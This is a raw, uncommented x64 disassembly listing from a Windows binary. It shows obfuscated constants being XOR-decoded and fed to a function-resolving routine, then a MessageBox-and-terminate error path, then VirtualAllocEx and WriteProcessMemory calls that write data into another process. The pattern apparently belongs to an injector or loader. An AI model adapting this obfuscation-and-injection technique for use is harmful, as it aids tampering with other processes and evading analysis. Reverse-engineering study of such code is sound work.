movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
xor r8d, r8d
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x2070]
call fcn.1400532e0
mov qword [r14 + 0x40], rax
test rax, rax
jne 0x14002ca56
movabs rax, 0x1c73930066c575
mov qword [rbp + 0x85d0], rax
movabs rcx, 0xe6aaacbfcb42dfd
mov qword [rbp + 0x85d8], rcx
movabs rax, 0x1c73e16f14b730
mov qword [rbp + 0x85e0], rax
mov qword [rbp + 0x85e8], rcx
movdqa xmm0, xmmword [rbp + 0x85d0]
pxor xmm0, xmmword [rbp + 0x85e0]
movaps xmmword [rbp + 0x7f0], xmm0
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0x800], xmm0
movaps xmm1, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0x810], xmm1
movaps xmm0, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0x820], xmm0
movaps xmm1, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0x830], xmm1
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp + 0x840], xmm0
movabs rax, 0x1fffffffe2885bca
mov qword [rbp + 0x85d0], rax
movabs rcx, 0xe00000001d7ff93b
mov qword [rbp + 0x85d8], rcx
movabs rax, 0x1fffffffe28851fb
mov qword [rbp + 0x85e0], rax
mov qword [rbp + 0x85e8], rcx
movdqa xmm0, xmmword [rbp + 0x85d0]
pxor xmm0, xmmword [rbp + 0x85e0]
movaps xmmword [rbp + 0x4e0], xmm0
movaps xmm0, xmmword [rbp + 0x250]
movaps xmmword [rbp + 0x4f0], xmm0
movaps xmm1, xmmword [rbp + 0x260]
movaps xmmword [rbp + 0x500], xmm1
lea r8, [rbp + 0x7f0]
lea rdx, [rbp + 0x4e0]
jmp 0x14002d818
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0xd35b6abf8ba7658
mov qword [rbp + 0x8610], rax
movabs rax, 0x216dc338f9c48693
mov qword [rbp + 0x8618], rax
movabs rax, 0xc39c5bb4a149ec3
mov qword [rbp + 0x8620], rax
movabs rax, 0x63b0c5efd83fef18
mov qword [rbp + 0x8628], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x7d40ddc497f60508
mov qword [rbp + 0x8650], rax
movabs rax, 0x631eb05d9aabf4c3
mov qword [rbp + 0x8658], rax
movabs rax, 0x7f4aa0d82566ceba
mov qword [rbp + 0x8660], rax
movabs rax, 0x63b0c5efd83f8b51
mov qword [rbp + 0x8668], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x8610]
pxor xmm0, xmmword [rbp + 0x8650]
movdqa xmmword [rbp + 0x40], xmm0
movdqa xmm1, xmmword [rbp + 0x8620]
pxor xmm1, xmmword [rbp + 0x8660]
movdqa xmmword [rbp + 0x50], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x60], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x70], xmm5
lea rax, [rbp + 0x5cb0]
lea rcx, [rbp + 0x40]
mov rdx, rbx
nop
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14002cb40
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movabs rax, 0x5f264b4a95a17f0
mov qword [rbp + 0x8610], rax
movabs rax, 0x62ce89e0ec1bb943
mov qword [rbp + 0x8618], rax
xorps xmm2, xmm2
movabs rax, 0x699c16dfda35639e
mov qword [rbp + 0x8630], rax
movabs rax, 0x62ce89e08963dc6d
mov qword [rbp + 0x8638], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x8610]
pxor xmm0, xmmword [rbp + 0x8630]
movdqa xmmword [rbp + 0x8610], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x8620], xmm2
lea rcx, [rbp + 0x2140]
lea rax, [rbp + 0x8610]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
xor r8d, r8d
lea rdx, [rbp + 0x5cb0]
lea rcx, [rbp + 0x2140]
call fcn.1400532e0
mov qword [r14 + 0x28], rax
test rax, rax
jne 0x14002cdcc
movabs rax, 0x19d86841ab922f
mov qword [rbp + 0x85d0], rax
movabs rcx, 0xe6ade28b497b14f
mov qword [rbp + 0x85d8], rcx
movabs rax, 0x19d81a2ed9e06a
mov qword [rbp + 0x85e0], rax
mov qword [rbp + 0x85e8], rcx
movdqa xmm0, xmmword [rbp + 0x85d0]
pxor xmm0, xmmword [rbp + 0x85e0]
movaps xmmword [rbp + 0x850], xmm0
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0x860], xmm0
movaps xmm1, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0x870], xmm1
movaps xmm0, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0x880], xmm0
movaps xmm1, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0x890], xmm1
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp + 0x8a0], xmm0
movabs rax, 0x1fffffffe24abcfd
mov qword [rbp + 0x85d0], rax
movabs rcx, 0xe00000001dbd29c3
mov qword [rbp + 0x85d8], rcx
movabs rax, 0x1fffffffe24ab6cf
mov qword [rbp + 0x85e0], rax
mov qword [rbp + 0x85e8], rcx
movdqa xmm0, xmmword [rbp + 0x85d0]
pxor xmm0, xmmword [rbp + 0x85e0]
movaps xmmword [rbp + 0x510], xmm0
movaps xmm0, xmmword [rbp + 0x250]
movaps xmmword [rbp + 0x520], xmm0
movaps xmm1, xmmword [rbp + 0x260]
movaps xmmword [rbp + 0x530], xmm1
lea r8, [rbp + 0x850]
lea rdx, [rbp + 0x510]
jmp 0x14002d818
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0x7ad570f400e3b40
mov qword [rbp + 0x8610], rax
movabs rax, 0x1587506a435c064c
mov qword [rbp + 0x8618], rax
movabs rax, 0x1add777f3d3b
mov qword [rbp + 0x8620], rax
movabs rcx, 0x69d65bf61286017
mov qword [rbp + 0x8628], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x61c8256a0468590f
mov qword [rbp + 0x8650], rax
movabs rax, 0x77c835092d397429
mov qword [rbp + 0x8658], rax
movabs rax, 0x1add031c5851
mov qword [rbp + 0x8660], rax
mov qword [rbp + 0x8668], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x8650]
pxor xmm0, xmmword [rbp + 0x8610]
movdqa xmmword [rbp + 0x40], xmm0
movdqa xmm1, xmmword [rbp + 0x8620]
pxor xmm1, xmmword [rbp + 0x8660]
movdqa xmmword [rbp + 0x50], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x60], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x70], xmm5
lea rax, [rbp + 0x4050]
lea rcx, [rbp + 0x40]
mov rdx, r13
nop dword [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14002ceb0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movabs rax, 0x60d0c7e5281e2ae
mov qword [rbp + 0x8610], rax
movabs rax, 0x762c51caf66fee8e
mov qword [rbp + 0x8618], rax
xorps xmm2, xmm2
movabs rax, 0x6a637e1521ee96c0
mov qword [rbp + 0x8630], rax
movabs rax, 0x762c51ca93178ba0
mov qword [rbp + 0x8638], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x8630]
pxor xmm0, xmmword [rbp + 0x8610]
movdqa xmmword [rbp + 0x8610], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x8620], xmm2
lea rcx, [rbp + 0x2210]
lea rax, [rbp + 0x8610]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
xor r8d, r8d
lea rdx, [rbp + 0x4050]
lea rcx, [rbp + 0x2210]
call fcn.1400532e0
mov qword [r14 + 0x38], rax
test rax, rax
jne 0x14002d14c
movabs rax, 0x1ace0a79d3d94a
mov qword [rbp + 0x85d0], rax
movabs rcx, 0xe681f1f26182951
mov qword [rbp + 0x85d8], rcx
movabs rax, 0x1ace7816a1ab0f
mov qword [rbp + 0x85e0], rax
mov qword [rbp + 0x85e8], rcx
movdqa xmm0, xmmword [rbp + 0x85d0]
pxor xmm0, xmmword [rbp + 0x85e0]
movaps xmmword [rbp + 0x8b0], xmm0
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0x8c0], xmm0
movaps xmm1, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0x8d0], xmm1
movaps xmm0, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0x8e0], xmm0
movaps xmm1, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0x8f0], xmm1
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp + 0x900], xmm0
movabs rax, 0x1fffffffe2602d9f
mov qword [rbp + 0x85d0], rax
movabs rcx, 0xe00000001da97b6d
mov qword [rbp + 0x85d8], rcx
movabs rax, 0x1fffffffe26027ac
mov qword [rbp + 0x85e0], rax
mov qword [rbp + 0x85e8], rcx
movdqa xmm0, xmmword [rbp + 0x85d0]
pxor xmm0, xmmword [rbp + 0x85e0]
movaps xmmword [rbp + 0x540], xmm0
movaps xmm0, xmmword [rbp + 0x250]
movaps xmmword [rbp + 0x550], xmm0
movaps xmm1, xmmword [rbp + 0x260]
movaps xmmword [rbp + 0x560], xmm1
lea r8, [rbp + 0x8b0]
lea rdx, [rbp + 0x540]
jmp 0x14002d818
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0x19aae4927c70bce9
mov qword [rbp + 0x8610], rax
movabs rax, 0x1a7da1504c3acbb0
mov qword [rbp + 0x8618], rax
mov qword [rbp + 0x8620], r15
movabs rcx, 0xe000000020024125
mov qword [rbp + 0x8628], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x76ce90e71423c8a7
mov qword [rbp + 0x8650], rax
movabs rax, 0x7718d5233569a5c7
mov qword [rbp + 0x8658], rax
mov qword [rbp + 0x8660], r15
mov qword [rbp + 0x8668], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x8650]
pxor xmm0, xmmword [rbp + 0x8610]
movdqa xmmword [rbp + 0x40], xmm0
movdqa xmm1, xmmword [rbp + 0x8620]
pxor xmm1, xmmword [rbp + 0x8660]
movdqa xmmword [rbp + 0x50], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x60], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x70], xmm3
lea rax, [rbp + 0x3460]
lea rcx, [rbp + 0x40]
nop dword [rax]
nop dword [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub r13, 1
jne 0x14002d220
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movabs rax, 0x1d2ea33f12c8c0dc
mov qword [rbp + 0x8610], rax
movabs rax, 0x784d020383aa0cf1
mov qword [rbp + 0x8618], rax
xorps xmm2, xmm2
movabs rax, 0x7140d15461a7b4b2
mov qword [rbp + 0x8630], rax
movabs rax, 0x784d0203e6d269df
mov qword [rbp + 0x8638], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x8610]
pxor xmm0, xmmword [rbp + 0x8630]
movdqa xmmword [rbp + 0x8610], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x8620], xmm1
lea rcx, [rbp + 0x22e0]
lea rax, [rbp + 0x8610]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
xor r8d, r8d
lea rdx, [rbp + 0x3460]
lea rcx, [rbp + 0x22e0]
call fcn.1400532e0
mov qword [r14 + 0x20], rax
test rax, rax
jne 0x14002d49c
movabs rax, 0x1e6dd1063147b4
mov qword [rbp + 0x85d0], rax
movabs rcx, 0xe6930b410382e0b
mov qword [rbp + 0x85d8], rcx
movabs rax, 0x1e6da3694335f1
mov qword [rbp + 0x85e0], rax
mov qword [rbp + 0x85e8], rcx
movdqa xmm0, xmmword [rbp + 0x85d0]
pxor xmm0, xmmword [rbp + 0x85e0]
movaps xmmword [rbp + 0x910], xmm0
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0x920], xmm0
movaps xmm1, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0x930], xmm1
movaps xmm0, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0x940], xmm0
movaps xmm1, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0x950], xmm1
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp + 0x960], xmm0
movabs rax, 0x1fffffffe2c84bb3
mov qword [rbp + 0x85d0], rax
movabs rcx, 0xe00000001d280df7
mov qword [rbp + 0x85d8], rcx
movabs rax, 0x1fffffffe2c84187
mov qword [rbp + 0x85e0], rax
mov qword [rbp + 0x85e8], rcx
movdqa xmm0, xmmword [rbp + 0x85d0]
pxor xmm0, xmmword [rbp + 0x85e0]
movaps xmmword [rbp + 0x570], xmm0
movaps xmm0, xmmword [rbp + 0x250]
movaps xmmword [rbp + 0x580], xmm0
movaps xmm1, xmmword [rbp + 0x260]
movaps xmmword [rbp + 0x590], xmm1
lea r8, [rbp + 0x910]
lea rdx, [rbp + 0x570]
jmp 0x14002d818
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0x7754b827922b458
mov qword [rbp + 0x8610], rax
movabs rax, 0x1922f6d1ae728000
mov qword [rbp + 0x8618], rax
movabs rax, 0x8588434c918aeab
mov qword [rbp + 0x8620], rax
movabs rax, 0x59e1d276119e863f
mov qword [rbp + 0x8628], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x68071bf61c65c708
mov qword [rbp + 0x8650], rax
movabs rax, 0x6d419382dd01e563
mov qword [rbp + 0x8658], rax
movabs rax, 0x493df7558b76c1c2
mov qword [rbp + 0x8660], rax
movabs rax, 0x59e1a10574ece25b
mov qword [rbp + 0x8668], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x8610]
pxor xmm0, xmmword [rbp + 0x8650]
movdqa xmmword [rbp + 0x40], xmm0
movdqa xmm1, xmmword [rbp + 0x8660]
pxor xmm1, xmmword [rbp + 0x8620]
movdqa xmmword [rbp + 0x50], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x60], xmm2
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x70], xmm5
lea rax, [rbp + 0x6200]
lea rcx, [rbp + 0x40]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rbx, 1
jne 0x14002d582
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
movabs rax, 0x83bffddc9178e7a
mov qword [rbp + 0x8610], rax
movabs rax, 0x61bc0407bc7c0e8c
mov qword [rbp + 0x8618], rax
xorps xmm2, xmm2
movabs rax, 0x64558db6ba78fa14
mov qword [rbp + 0x8630], rax
movabs rax, 0x61bc0407d9046ba2
mov qword [rbp + 0x8638], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x8610]
pxor xmm0, xmmword [rbp + 0x8630]
movdqa xmmword [rbp + 0x8610], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x8620], xmm2
lea rcx, [rbp + 0x19f0]
lea rax, [rbp + 0x8610]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
xor r8d, r8d
lea rdx, [rbp + 0x6200]
lea rcx, [rbp + 0x19f0]
call fcn.1400532e0
mov qword [r14 + 0x30], rax
test rax, rax
jne 0x14002d836
movabs rax, 0x1f5c4c47326a7f
mov qword [rbp + 0x85d0], rax
movabs rcx, 0xe6d91db73b6dc05
mov qword [rbp + 0x85d8], rcx
movabs rax, 0x1f5c3e2840183a
mov qword [rbp + 0x85e0], rax
mov qword [rbp + 0x85e8], rcx
movdqa xmm0, xmmword [rbp + 0x85d0]
pxor xmm0, xmmword [rbp + 0x85e0]
movaps xmmword [rsp + 0x50], xmm0
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0x60], xmm0
movaps xmm1, xmmword [rsp + 0x70]
movaps xmmword [rsp + 0x70], xmm1
movaps xmm0, xmmword [rbp - 0x80]
movaps xmmword [rbp - 0x80], xmm0
movaps xmm1, xmmword [rbp - 0x70]
movaps xmmword [rbp - 0x70], xmm1
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp - 0x60], xmm0
movabs rax, 0x1fffffffe2cb4cb1
mov qword [rbp + 0x85d0], rax
movabs rcx, 0xe00000001d61feac
mov qword [rbp + 0x85d8], rcx
movabs rax, 0x1fffffffe2cb4684
mov qword [rbp + 0x85e0], rax
mov qword [rbp + 0x85e8], rcx
movdqa xmm0, xmmword [rbp + 0x85d0]
pxor xmm0, xmmword [rbp + 0x85e0]
movaps xmmword [rbp + 0x240], xmm0
movaps xmm0, xmmword [rbp + 0x250]
movaps xmmword [rbp + 0x250], xmm0
movaps xmm1, xmmword [rbp + 0x260]
movaps xmmword [rbp + 0x260], xmm1
lea r8, [rsp + 0x50]
lea rdx, [rbp + 0x240]
mov r9d, reloc.WS2_32.dll_recv
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor edx, edx
lea rcx, [rdx - 1]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xor bl, bl
jmp 0x14002d89e
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x240
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
test rax, rax
je 0x14002d88d
xor eax, eax
mov qword [rsp + 0x20], rax
mov r9d, 0x240
mov r8, r14
mov rdx, rbx
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rax, qword [rbp + 0x300]
test rax, rax
je 0x14002d89c
mov qword [rax], rbx
mov bl, 1
lea rcx, [rbp + 0x85b0]
call fcn.140059be0
movzx eax, bl
jmp 0x1400260d6